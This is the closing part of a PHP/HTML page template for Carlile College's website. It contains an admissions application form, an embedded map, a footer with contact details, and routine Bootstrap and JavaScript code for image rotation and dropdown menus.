                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <?php if(isset($application_success)): ?>
                    <div class="alert alert-success"><?= $application_success ?></div>
                <?php elseif(isset($application_error)): ?>
                    <div class="alert alert-danger"><?= $application_error ?></div>
                <?php endif; ?>
                
                <form method="post" enctype="multipart/form-data">
                    <div class="row">
                        <div class="col-md-6 mb-3">
                            <label class="form-label">First Name *</label>
                            <input type="text" name="first_name" class="form-control" required>
                        </div>
                        <div class="col-md-6 mb-3">
                            <label class="form-label">Last Name *</label>
                            <input type="text" name="last_name" class="form-control" required>
                        </div>
                    </div>
                    
                    <div class="row">
                        <div class="col-md-6 mb-3">
                            <label class="form-label">Email *</label>
                            <input type="email" name="email" class="form-control" required>
                        </div>
                        <div class="col-md-6 mb-3">
                            <label class="form-label">Phone *</label>
                            <input type="tel" name="phone" class="form-control" required>
                        </div>
                    </div>
                    
                    <div class="mb-3">
                        <label class="form-label">Program Applying For *</label>
                        <select name="program" class="form-select" required>
                            <option value="">Select Program</option>
                            <option value="Diploma in Business Management">Diploma in Business Management</option>
                            <option value="Diploma in Information Technology">Diploma in Information Technology</option>
                            <option value="Certificate in Early Childhood Education">Certificate in Early Childhood Education</option>
                            <option value="Certificate in Theology">Certificate in Theology</option>
                            <option value="Diploma in Hospitality Management">Diploma in Hospitality Management</option>
                        </select>
                    </div>
                    
                    <div class="mb-3">
                        <label class="form-label">Message (Optional)</label>
                        <textarea name="message" class="form-control" rows="4"></textarea>
                    </div>
                    
                    <div class="mb-4">
                        <label class="form-label">Passport Photo (Optional)</label>
                        <input type="file" name="passport" class="form-control" accept="image/*">
                        <div class="form-text">JPG or PNG, max 2MB</div>
                    </div>
                    
                    <button type="submit" name="submit_application" class="btn btn-primary btn-lg w-100">Submit Application</button>
                </form>
            </div>
        </div>
    </div>
</div>

    <!-- Map Section -->
    <div class="bg-light">
        <div class="container-fluid p-0">
            <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3988.7915533817386!2d36.84015031533178!3d-1.3003235359781898!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x182f10d7d3a7b0d1%3A0x7f7a7e7a7a7a7a7a!2sCarlile%20College!5e0!3m2!1sen!2ske!4v1620000000000!5m2!1sen!2ske" width="100%" height="450" style="border:0;" allowfullscreen="" loading="lazy"></iframe>
        </div>
    </div>

    <!-- Footer -->
    <footer class="footer">
        <div class="container">
            <div class="row">
                <div class="col-lg-4 mb-4 mb-lg-0">
                    <img src="<?php echo $footer['logo'] ?? 'https://via.placeholder.com/200x60?text=Carlile+College+Logo'; ?>" alt="Carlile College" class="mb-3">
                    <p class="mb-4"><?php echo $footer['about_text'] ?? 'Carlile College is an Education Ministry of Church Army Africa (CAA), an Anglican Society of Mission witnessing to the good news of the Gospel through proclamation, practical care and education.'; ?></p>
                    <div class="social-icons">
                        <a href="<?php echo $footer['facebook'] ?? '#'; ?>"><i class="fab fa-facebook-f"></i></a>
                        <a href="<?php echo $footer['twitter'] ?? '#'; ?>"><i class="fab fa-twitter"></i></a>
                        <a href="<?php echo $footer['instagram'] ?? '#'; ?>"><i class="fab fa-instagram"></i></a>
                        <a href="<?php echo $footer['linkedin'] ?? '#'; ?>"><i class="fab fa-linkedin-in"></i></a>
                        <a href="<?php echo $footer['youtube'] ?? '#'; ?>"><i class="fab fa-youtube"></i></a>
                    </div>
                </div>
                
                <div class="col-lg-2 col-md-4 mb-4 mb-md-0">
                    <h5 class="mb-4">Quick Links</h5>
                    <ul class="list-unstyled">
                        <li class="mb-2"><a href="index.php"><i class="fas fa-angle-right me-2"></i>Home</a></li>
                        <li class="mb-2"><a href="admin.php"><i class="fas fa-angle-right me-2"></i>About Us</a></li>
                        <li class="mb-2"><a href="../church-kindergarten/index.php"><i class="fas fa-angle-right me-2"></i>Schools</a></li>
                        <li class="mb-2"><a href="admissions.php"><i class="fas fa-angle-right me-2"></i>Admissions</a></li>
                        <li class="mb-2"><a href="news_events.php"><i class="fas fa-angle-right me-2"></i>Blog</a></li>
                        <li class="mb-2"><a href="admin.php#contact"><i class="fas fa-angle-right me-2"></i>Contact</a></li>
                    </ul>
                </div>
                
                <div class="col-lg-3 col-md-4 mb-4 mb-md-0">
                    <h5 class="mb-4">Departments</h5>
                    <ul class="list-unstyled">
                        <li class="mb-2"><a href="departments.php#business"><i class="fasfa-angle-right me-2"></i>Business & Management</a></li>
                        <li class="mb-2"><a href="departments.php#technical"><i class="fas fa-angle-right me-2"></i>Technical Studies</a></li>
                        <li class="mb-2"><a href="departments.php#health"><i class="fas fa-angle-right me-2"></i>Health & Development</a></li>
                        <li class="mb-2"><a href="departments.php#ecde"><i class="fas fa-angle-right me-2"></i>ECDE</a></li>
                        <li class="mb-2"><a href="departments.php#ict"><i class="fas fa-angle-right me-2"></i>ICT</a></li>
                        <li class="mb-2"><a href="departments.php#hospitality"><i class="fas fa-angle-right me-2"></i>Hospitality & Languages</a></li>
                    </ul>
                </div>
                
                <div class="col-lg-3 col-md-4">
                    <h5 class="mb-4">Contact Us</h5>
                    <ul class="list-unstyled">
                        <li class="mb-3">
                            <i class="fas fa-map-marker-alt me-3"></i><?php echo $contact['address'] ?? 'Along Jogoo Rd, Nairobi, Kenya'; ?>
                        </li>
                        <li class="mb-3">
                            <i class="fas fa-phone me-3"></i><?php echo $contact['phone'] ?? '+254-722 423397'; ?>
                        </li>
                        <li class="mb-3">
                            <i class="fas fa-envelope me-3"></i><?php echo $contact['email'] ?? 'info@carlilecollege.ac.ke'; ?>
                        </li>
                    </ul>
                </div>
            </div>
            
            <hr class="my-5">
            
            <div class="row">
                <div class="col-md-6 mb-3 mb-md-0">
                    <p class="mb-0">&copy; <?php echo date('Y'); ?> Carlile College. All Rights Reserved.</p>
                </div>
                <div class="col-md-6 text-md-end">
                    <p class="mb-0">Designed with <i class="fas fa-heart text-danger"></i> for Quality Education</p>
                </div>
            </div>
        </div>
    </footer>

    <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>

    

<script>
    const heroImages = <?= json_encode($hero_images); ?>;
    let currentImageIndex = 0;
    const heroSection = document.querySelector('.hero');

    function changeBackground() {
        if (heroImages.length > 0) {
            currentImageIndex = (currentImageIndex + 1) % heroImages.length;
            heroSection.style.backgroundImage = `url('${heroImages[currentImageIndex]}')`;
        }
    }

    if (heroImages.length > 1) {
        setInterval(changeBackground, 5000);
    }
</script>

<script>
document.addEventListener('DOMContentLoaded', function() {
    if(window.location.hash === '#application') {
        const applicationModal = new bootstrap.Modal(document.getElementById('applicationModal'));
        applicationModal.show();
    }

    // Back to top button functionality
    const backToTopButton = document.querySelector('.back-to-top');
    
    // Show/hide button on scroll
    window.addEventListener('scroll', () => {
        if (window.pageYOffset > 300) {
            backToTopButton.classList.add('show');
        } else {
            backToTopButton.classList.remove('show');
        }
    });
    
    // Click to scroll to top
    backToTopButton.addEventListener('click', function(e) {
        e.preventDefault();
        window.scrollTo({
            top: 0,
            behavior: 'smooth'
        });
    });

    // Responsive dropdown functionality
    const dropdownItems = document.querySelectorAll('.nav-item.dropdown');
    
    // Check if device supports hover
    const isHoverSupported = window.matchMedia('(hover: hover)').matches;
    
    dropdownItems.forEach(dropdown => {
        const dropdownMenu = dropdown.querySelector('.dropdown-menu');
        const dropdownToggle = dropdown.querySelector('.dropdown-toggle');
        let hoverTimeout;
        
        // Desktop hover functionality
        if (isHoverSupported && window.innerWidth > 991) {
            // Show dropdown on hover
            dropdown.addEventListener('mouseenter', function() {
                clearTimeout(hoverTimeout);
                dropdownMenu.classList.add('show');
                dropdownMenu.style.display = 'block';
                
                // Force reflow to ensure transition works
                dropdownMenu.offsetHeight;
                dropdownMenu.style.opacity = '1';
                dropdownMenu.style.visibility = 'visible';
                dropdownMenu.style.transform = 'translateY(0)';
            });
            
            // Hide dropdown when mouse leaves
            dropdown.addEventListener('mouseleave', function() {
                hoverTimeout = setTimeout(() => {
                    dropdownMenu.style.opacity = '0';
                    dropdownMenu.style.visibility = 'hidden';
                    dropdownMenu.style.transform = 'translateY(-10px)';
                    
                    // Remove show class after transition
                    setTimeout(() => {
                        dropdownMenu.classList.remove('show');
                        dropdownMenu.style.display = 'none';
                    }, 300);
                }, 100); // Small delay to prevent flickering
            });
            
            // Keep dropdown open when hovering over menu items
            dropdownMenu.addEventListener('mouseenter', function() {
                clearTimeout(hoverTimeout);
            });
            
            dropdownMenu.addEventListener('mouseleave', function() {
                hoverTimeout = setTimeout(() => {
                    dropdownMenu.style.opacity = '0';
                    dropdownMenu.style.visibility = 'hidden';
                    dropdownMenu.style.transform = 'translateY(-10px)';
                    
                    setTimeout(() => {
                        dropdownMenu.classList.remove('show');
                        dropdownMenu.style.display = 'none';
                    }, 300);
                }, 100);
            });
        } else {
            // Mobile/tablet click functionality
            dropdownToggle.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                
                // Close other dropdowns
                dropdownItems.forEach(otherDropdown => {
                    if (otherDropdown !== dropdown) {
                        const otherMenu = otherDropdown.querySelector('.dropdown-menu');
                        otherMenu.classList.remove('show');
                        otherMenu.style.display = 'none';
                    }
                });
                
                // Toggle current dropdown
                if (dropdownMenu.classList.contains('show')) {
                    dropdownMenu.classList.remove('show');
                    dropdownMenu.style.display = 'none';
                } else {
                    dropdownMenu.classList.add('show');
                    dropdownMenu.style.display = 'block';
                }
            });
        }
    });
    
    // Close dropdowns when clicking outside
    document.addEventListener('click', function(e) {
        if (!e.target.closest('.nav-item.dropdown')) {
            dropdownItems.forEach(dropdown => {
                const dropdownMenu = dropdown.querySelector('.dropdown-menu');
                dropdownMenu.classList.remove('show');
                dropdownMenu.style.display = 'none';
            });
        }
    });
    
    // Handle window resize
    window.addEventListener('resize', function() {
        const isHoverSupported = window.matchMedia('(hover: hover)').matches;
        if (!isHoverSupported || window.innerWidth <= 991) {
            // Reset all dropdowns on mobile
            dropdownItems.forEach(dropdown => {
                const dropdownMenu = dropdown.querySelector('.dropdown-menu');
                dropdownMenu.classList.remove('show');
                dropdownMenu.style.display = 'none';
            });
        }
    });
});
</script>

<!-- Back to Top Button -->
<a href="#" class="back-to-top">
    <i class="fas fa-arrow-up"></i>
</a>

</body>
</html>